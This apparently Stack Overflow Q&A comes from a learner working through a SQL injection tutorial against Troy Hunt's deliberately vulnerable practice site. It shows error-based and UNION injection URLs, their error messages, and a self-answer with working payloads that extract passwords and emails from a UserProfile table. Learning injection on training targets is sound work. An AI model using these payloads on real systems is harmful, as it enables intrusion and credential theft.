1

I am following the Pluralsight SQL injection tutorial. The instructor did not go over actually extracting the data.

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'AND 1=(SELECT TOP 1 name from (SELECT top 1 name from sys.tables order by name) t order by name desc)--

User profile table with columns

I tried running injections like:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select Email FROM UserProfile--

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'union select top 1 Email FROM UserProfile--

I get this error:

All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.

So I thought oh that's right the columns need to match the query Cylinders=V12. I believe that would be one or two. So I changed my query to:

http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' UNION SELECT Email, FirstName FROM UserProfile;

I get this error:

Cannot resolve the collation conflict between "Latin1_General_CI_AS" and "SQL_Latin1_General_CP1_CI_AS" in the UNION operation.

How would I go about extracting data when I have table and column information?

1
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 password from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12' AND 1=(select top 1 Email from UserProfile where UserId=(select top 1 UserId from(select top 1 UserId from userprofile order by UserId) sq order by UserId DESC))--

I found the solution. Now I KNOW what error-based SQL Injection really is.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.